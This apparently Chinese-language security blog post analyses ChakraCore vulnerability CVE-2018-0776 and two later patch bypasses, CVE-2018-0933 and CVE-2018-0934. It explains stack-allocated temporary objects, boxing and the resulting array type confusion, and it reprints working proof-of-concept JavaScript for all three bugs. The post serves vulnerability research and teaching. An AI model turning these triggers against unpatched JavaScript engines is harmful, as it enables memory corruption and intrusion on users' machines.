CVE-2018-0776 Stack-to-Heap

CVE-2018-0776 Stack-to-Heap

CVE-2018-0776

Credit to lokihardt

function inlinee() {
    return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */
    let stack_arr = [];  // JavascriptNativeFloatArray
    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;

    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);

    stack_arr[10000] = 2.3023e-320;

    return heap_arr[10000];
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(new Function(''));  // Prevents to be inlined
    }

    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray
    }));
}

main();

//https://github.com/Microsoft/ChakraCore/commit/40e45fc38189cc021267c65d42ca2fb5f899f9de

Feature 1: Inlining

  • 2 个栈帧折叠为 1 个栈帧
  • 省去将 Inlinee 参数压栈的过程
  • 某些情况下, 需要将折叠的栈帧还原回来, 例如 Bailout

Feature 2: Stack Object

分配到栈上的代码:

bool
Lowerer::GenerateRecyclerOrMarkTempAlloc(IR::Instr * instr, IR::RegOpnd * dstOpnd, IR::JnHelperMethod allocHelper, size_t allocSize, IR::SymOpnd ** tempObjectSymOpnd)
{
    if (instr->dstIsTempObject)  // 临时对象
    {
        *tempObjectSymOpnd = GenerateMarkTempAlloc(dstOpnd, allocSize, instr); // 分配到栈上
        return false;
    }

    this->GenerateRecyclerAlloc(allocHelper, allocSize, dstOpnd, instr); // 否则使用 GC 分配
    *tempObjectSymOpnd = nullptr;
    return true;
}

将满足如下要求的对象属于临时变量, 分配在函数栈上, 不属于堆分配:

  • 函数内部创建
  • 在函数外部没有被使用

标记为临时变量的调用栈:

ChakraCore.dll!ObjectTemp::SetDstIsTemp(bool dstIsTemp, bool dstIsTempTransferred, IR::Instr * instr, BackwardPass * backwardPass) Line 1176 C++ Symbols loaded.
ChakraCore.dll!TempTracker<ObjectTemp>::MarkTemp(StackSym * sym, BackwardPass * backwardPass) Line 455 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::MarkTemp(StackSym * sym) Line 5226 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::ProcessDef(IR::Opnd * opnd) Line 6648 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::ProcessBlock(BasicBlock * block) Line 2645 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::ProcessLoop(BasicBlock * lastBlock) Line 1554 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::OptBlock(BasicBlock * block) Line 1585 C++ Symbols loaded.
ChakraCore.dll!BackwardPass::Optimize() Line 416 C++ Symbols loaded.
ChakraCore.dll!GlobOpt::BackwardPass(Js::Phase tag) Line 181 C++ Symbols loaded.
ChakraCore.dll!GlobOpt::Optimize() Line 222 C++ Symbols loaded.

这个判断逻辑在 Backward 中完成. (ChakraCore 的数据流分析实现是非常标准的, 感觉都是书上的东西)

Feature 3: Stack-to-Heap Copy

当外部(解释执行代码)使用到栈对象时需要进行 Box 操作, 将栈对象迁移为堆对象.

两种情况下进行 Box:

  • 访问 Arguments
  • Bailout

其中, Arguments 导致的 Box 又分为两种:

  • 重建 Inlinee Frame
  • 构建 Arguments 对象

它会逐层向上解析 Stack Frame, 遇到函数时会还原 Frame 的内容, 解析出所有参数.

如以下代码所示:

    BOOL JavascriptFunction::GetArgumentsProperty(Var originalInstance, Var* value, ScriptContext* requestContext)
    {
        ScriptContext* scriptContext = this->GetScriptContext();

        if (this->IsStrictMode())
        {
            return false;
        }

        if (this->GetEntryPoint() == JavascriptFunction::PrototypeEntryPoint)
        {
            if (scriptContext->GetThreadContext()->RecordImplicitException())
            {
                JavascriptFunction* accessor = requestContext->GetLibrary()->GetThrowTypeErrorRestrictedPropertyAccessorFunction();
                *value = CALL_FUNCTION(scriptContext->GetThreadContext(), accessor, CallInfo(1), originalInstance);
            }
            return true;
        }

        if (!this->IsScriptFunction())
        {
            // builtin function do not have an argument object - return null.
            *value = scriptContext->GetLibrary()->GetNull();
            return true;
        }

        // Use a stack walker to find this function's frame. If we find it, compute its arguments.
        // Note that we are currently unable to guarantee that the binding between formal arguments
        // and foo.arguments[n] will be maintained after this object is returned.

        JavascriptStackWalker walker(scriptContext);

        if (walker.WalkToTarget(this))              // 1: 重建 inlinee Frame 时需要 Box
        {
            if (walker.IsCallerGlobalFunction())
            {
                *value = requestContext->GetLibrary()->GetNull();
            }
            else
            {
                Var args = nullptr;
                //Create a copy of the arguments and return it.

                const CallInfo callInfo = walker.GetCallInfo();
                args = JavascriptOperators::LoadHeapArguments(
                    this, callInfo.Count - 1,
                    walker.GetJavascriptArgs(),        // 2: 构造 arguments 对象时 Box
                    scriptContext->GetLibrary()->GetNull(),
                    scriptContext->GetLibrary()->GetNull(),
                    scriptContext,
                    /* formalsAreLetDecls */ false);

                *value = args;
            }
        }
        else
        {
            *value = scriptContext->GetLibrary()->GetNull();
        }
        return true;
    }

第一次 Box 的调用栈:

ChakraCore.dll!Js::JavascriptNativeFloatArray::BoxStackInstance(Js::JavascriptNativeFloatArray * instance) Line 11989 C++
  ChakraCore.dll!Js::JavascriptOperators::BoxStackInstance(void * instance, Js::ScriptContext * scriptContext, bool allowStackFunction) Line 9819 C++
  ChakraCore.dll!InlineeFrameRecord::Restore(int offset, bool isFloat64, bool isInt32, Js::JavascriptCallStackLayout * layout, Js::FunctionBody * functionBody) Line 325 C++
  ChakraCore.dll!InlineeFrameRecord::Restore::__l2::<lambda>(unsigned int i, void * * varRef) Line 222 C++
  ChakraCore.dll!InlinedFrameLayout::MapArgs<void <lambda>(unsigned int, void * *) >(InlineeFrameRecord::Restore::__l2::void <lambda>(unsigned int, void * *) callback) Line 131 C++
  ChakraCore.dll!InlineeFrameRecord::Restore(Js::FunctionBody * functionBody, InlinedFrameLayout * inlinedFrame, Js::JavascriptCallStackLayout * layout) Line 232 C++
  ChakraCore.dll!InlineeFrameRecord::RestoreFrames(Js::FunctionBody * functionBody, InlinedFrameLayout * outerMostFrame, Js::JavascriptCallStackLayout * callstack) Line 275 C++
  ChakraCore.dll!Js::InlinedFrameWalker::FromPhysicalFrame(Js::InlinedFrameWalker & self, Js::Amd64StackFrame & physicalFrame, Js::ScriptFunction * parent, bool fromBailout, int loopNum, const Js::JavascriptStackWalker * const stackWalker, bool useInternalFrameInfo, bool noAlloc) Line 1268 C++
  ChakraCore.dll!Js::JavascriptStackWalker::UpdateFrame(bool includeInlineFrames) Line 605 C++
  ChakraCore.dll!Js::JavascriptStackWalker::Walk(bool includeInlineFrames) Line 744 C++
> ChakraCore.dll!Js::JavascriptStackWalker::WalkToTarget(Js::JavascriptFunction * funcTarget) Line 836 C++
  ChakraCore.dll!Js::JavascriptFunction::GetArgumentsProperty(void * originalInstance, void * * value, Js::ScriptContext * requestContext) Line 2889 C++

大意:

每次 Walk 调用通过 this->currentFrame.Next() 遍历 Frame. 再调用 JavascriptStackWalker::UpdateFrame. JavascriptStackWalker::UpdateFrame 会先通过 JavascriptStackWalker::CheckJavascriptFrame 检查 currentFrame 是不是 JS Frame:

  • currentFrame 的地址与 tempInterpreterFrame 的返回地址一致, 那么是 InterpreterFrame
  • 如果 currentFrame 的地址在 JIT 的地址范围中,那么是 JIT 函数的 Frame

如果找到 JIT 函数,则进行 Frame 还原.

  • InlinedFrameWalker::FromPhysicalFrame

    • 可以根据函数入口地址, 找到函数的 entryPointInfo

    • entryPointInfo 保存了该函数是否包含 inline 函数

    • 根据 currentFrame 的 codeAddr, framePointer, stackCheckCodeHeight. 比较 codeAddr - entry > stackCheckCodeHeight, 说明有 inline 函数

      • inlinedFrame 的位置 inlinedFrame = (struct InlinedFrame *)(((uint8 *)framePointer) - entryPointInfo->frameHeight);

      • InlineeFrameRecord* record = entryPointInfo->FindInlineeFrame(...); 根据 inlineeFrameMap 查找 InlineeFrameRecord

      • record->RestoreFrames(...); 还原 Frame

      • currentRecord->Restore(...); 根据 record 依次还原 Frame

        • 这里具体还原出 InlineeFrame (在栈上)

          • inlinedFrame->MapArgs 还原参数等信息, 会对参数进行Js::JavascriptOperators::BoxStackInstance (还原的结果在 InlineeFrame 中, 也是保存在栈上)

第二次 Box 的调用栈:

> ChakraCore.dll!Js::InlinedFrameWalker::FinalizeStackValues(void * * args, unsigned __int64 argCount) Line 1346 C++
  ChakraCore.dll!Js::InlinedFrameWalker::GetArgv(bool includeThis) Line 1341 C++
  ChakraCore.dll!Js::JavascriptStackWalker::GetJavascriptArgs() Line 273 C++
  ChakraCore.dll!Js::JavascriptFunction::GetArgumentsProperty(void * originalInstance, void * * value, Js::ScriptContext * requestContext) Line 2901 C++

大意:

找到 inlinedFrame 后, 会调用 walker.GetJavascriptArgs 获取 inlinedFrame 的参数, 并通过 JavascriptOperators::LoadHeapArguments 构造 Arguments 对象.

  • walker.GetJavascriptArgs() 获取 inlinedFrame 的参数

    • inline 函数调用 inlinedFrameWalker.GetArgv

      • InlinedFrameWalker::FinalizeStackValues

        • args[i] = Js::JavascriptOperators::BoxStackInstance(...);

向 inlinee 函数传参仍可当作临时对象处理, 仍可栈分配, 但是 inlinee 函数内有显式 inlinee.arguments 调用时不会栈分配. 所以必须要用到 inlinee 函数来触发漏洞.

如何进行 Box:

  1. JavascriptArray::BoxStackInstance

    包括对 VarArray, NativeIntArray 和 NativeFloatArray 的处理:

    检查 boxedInstanceRef, 如果有直接返回 boxedInstanceRef 保存的指针. (因此多次调用 PoC 中的 inlinee, 会返回同一指针.)

    然后调用对应 Array 的构造函数:

    • 有 inlineHead 时会调用 InitBoxedInlineHeadSegment, 复制 HeadSegment
    • 与原始对象共用其他 Segment
  2. DynamicObject::BoxStackInstance

    检查 boxedInstanceRef, 如果有直接返回 boxedInstanceRef 的指针

    调用构造函数:

    • 与原始对象共用 Type
    • 与原始对象共用 Type 和 AuxSlot
    • 如 inlineSlot 和 auxSlot 中的数据是 Var 指针, 会依次进行 JavascriptNumber::BoxStackNumber

Feature 4: "Shared" Buffer

Chakra 中 Stack 对象 和 Heap 对象是可以共享 buffer 的, 在这里用到的是 Array 的 Segment. 它本身的结构与数组类型无关, 其类型由 Array 决定.

两个不同类型的 Array 引用同一个 Segment, 就发生了类型混淆.

Patch

https://github.com/Microsoft/ChakraCore/commit/40e45fc38189cc021267c65d42ca2fb5f899f9de

对遍历栈时的 Box Array 进行补丁: Array head 在栈上时进行 deepCopy, 原本只 copy head, 补丁后 copy 所有 segment.

Bypass: CVE-2018-0933

function inlinee() {
    return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */

    let stack_arr = [];

    // Allocate stack_ar->head to the heap
    stack_arr[20] = 1.1;

    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;

    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);

    stack_arr[10000] = 2.3023e-320;

    return heap_arr[10000];
}

function main() {
    for (let i = 0; i < 10000; i++)
        opt(new Function(''));  // Prevents to be inlined

    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray
    }));
}

main();

原理: 将 head 分配到堆上不会被 deepCopy.

Patch: 将堆上的 head 也进行 deepCopy.

Bypass Again: CVE-2018-0934

// To test this using ch, you will need to add the flag -WERExceptionSupport which is enabled on Edge by default.

function inlinee() {
    new Error();
    return inlinee.arguments[0];
}

function opt(convert_to_var_array) {
    /*
    To make the in-place type conversion happen, it requires to segment.
    */

    let stack_arr = [];  // JavascriptNativeFloatArray
    stack_arr[10000] = 1.1;
    stack_arr[20000] = 2.2;

    let heap_arr = inlinee(stack_arr);
    convert_to_var_array(heap_arr);

    stack_arr[10000] = 2.3023e-320;

    return heap_arr[10000];
}

function main() {
    for (let i = 0; i < 10000; i++) {
        opt(new Function(''));  // Prevents to be inlined
    }

    print(opt(heap_arr => {
        heap_arr[10000] = {};  // ConvertToVarArray
    }));
}

main();

原理:

  • 函数中存在 CALL 时, DoInlineArgsOpt 为 false
  • 在生成 JIT 代码时, 虽然是 inline 函数, 但 DoInlineArgsOpt 为假, 生成的代码会将参数压入 inlinee 的栈帧中
  • 前面分析过获取 Arg 时本来有两次 Box
  • 调用 inlinee.arguments 时遍历栈时不需要进行 InlineFrame 的还原, 因此第 1 次 BOX 不再进行. 取 Args 构造 Arguments 对象时仍进行 1 次 box, 这里 deepCopy 为 false

Patch:

  • 构造 Arguments 时的 Box deepCopy 为 true
  • Arguments 导致的遍历栈时不进行 box, 只 BailOut 时才进行 Box

总结

  • 积累特别的 Feature, 例如 inlinee.arguments 在函数外获取函数参数, 向普通代码引出临时变量, 但 Arg 仍然会被标为临时变量
  • 透彻分析 Root Cause, 漏洞触发的充要条件, 才能知道如何正确的 Patch, 才能知道如何 Bypass 不够完美的 Patch.

 

Comments

Popular posts from this blog

CVE-2017-5121 Escape Analysis

CVE-2018-0777 Code Motion

Three UaFs when iterating through HTMLFormElement::associatedElements